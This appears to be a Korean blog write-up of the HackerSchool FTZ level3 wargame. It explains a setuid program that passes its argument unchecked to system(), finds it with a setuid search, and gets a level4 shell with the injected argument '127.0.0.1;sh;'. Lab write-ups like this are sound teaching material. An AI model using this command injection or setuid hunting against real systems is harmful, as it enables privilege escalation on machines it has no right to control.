[level3@ftz level3]$ ls
hint public_html tmp
[level3@ftz level3]$ cat hint
다음 코드는 autodig의 소스이다.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char **argv){
char cmd[100];
if( argc!=2 ){
printf( "Auto Digger Version 0.9\n" );
printf( "Usage : %s host\n", argv[0] );
exit(0);
}
strcpy( cmd, "dig @" );
strcat( cmd, argv[1] );
strcat( cmd, " version.bind chaos txt");
system( cmd );
}
이를 이용하여 level4의 권한을 얻어라.
more hints.
- 동시에 여러 명령어를 사용하려면?
- 문자열 형태로 명령어를 전달하려면?
level4의 권한을 얻어야 합니다.
소스를 분석 하면 다음과 같네요
1. 프로그램 실행 시 인자를 받는다.
2. 그 인자는 하나만 받는다.
3. 그 인자를 통해 cmd를 실행한다.
이제 autodig를 찾아봅시다.
그 전에 dig가 무엇인지를 알아봅시다.
dig (domain information groper)는 도메인 네임 시스템 (DNS) 네임서버에 질의하기 위한 네트워크 관리 명령 줄 인터페이스 툴이다.
dig는 네트워크 트러블슈팅과 교육적인 목적에 유용하다. dig는 반복적인 명령 줄 모드 또는 배치 모드에서 작동할 수 있다. 특정한 네임 서버가 명령에 명시되지 않으면, 이것은 resolv.conf 파일에 설정된 운영 체제 기본 resolver를 사용한다. 쿼리에 매개변수가 없으면 DNS 루트 존에 질의한다.
dig는 국제화 도메인 네임 (IDN) 질의를 지원한다.
dig는 BIND 도메인 네임 서버 소프트웨어의 한 부분이다. dig는 nslookup과 host 같은 오래된 툴들을 대체한다.
#출처 : 위키백과
level4의 권한을 가진 autodig라는 프로그램을 찾아보겠습니다.
[level3@ftz level3]$ find / -perm +4000 -user level4 -name autodig 2>/dev/null
/bin/autodig
[level3@ftz level3]$
이제 밑에 적혀있던 두줄의 힌트를 볼까요?
more hints.
- 동시에 여러 명령어를 사용하려면?
- 문자열 형태로 명령어를 전달하려면?
문자와 문자열은 다음과 같이 구분할 수 있습니다.
'A' - 문자
"AAA" - 문자열
문자열 형태로 전달 한다는 의미는 "AAA"와 같이 전달한다는 뜻이겠죠?
동시에 여러 명령어를 사용하려면 어떻게 해야 할까요?
프로그래밍을 하다보면 세미콜론을 많이 쓰셨을 겁니다.
이 세미콜론의 의미는 여기까지 해당 명령어를 실행 시킨다 라는 의미로도 볼 수 있는데요.
저 힌트들을 종합 시켜보면
" [명령어]; [명령어2]; [명령어3];"
이런 식으로 실행할 수 있습니다.
그렇다면 이제 공격을 해봅시다.
[level3@ftz level3]$ /bin/autodig "127.0.0.1;sh;"
; <<>> DiG 9.2.1 <<>> @127.0.0.1
;; global options: printcmd
;; connection timed out; no servers could be reached
sh-2.05b$
먼저 프로그램의 목적인 dig를 수행하기 위해 임시로 로컬 아이피 주소를 적어주고, 이 프로그램의 목적이 끝나기 전에 다음 명령어인 sh를 넘겨준다면 level4의 쉘을 얻을 수 있게 됩니다.
자 이제 권한을 획득 했으니 my-pass를 이용해 비밀번호를 따고 넘어갑시다!
'Hacking > [Wargame] FTZ' 카테고리의 다른 글
HackerSchool FTZ(FreeTraing Zone) level2 (0) | 2017.02.22 |
---|---|
HackerSchool FTZ(FreeTraing Zone) level1 (0) | 2017.01.10 |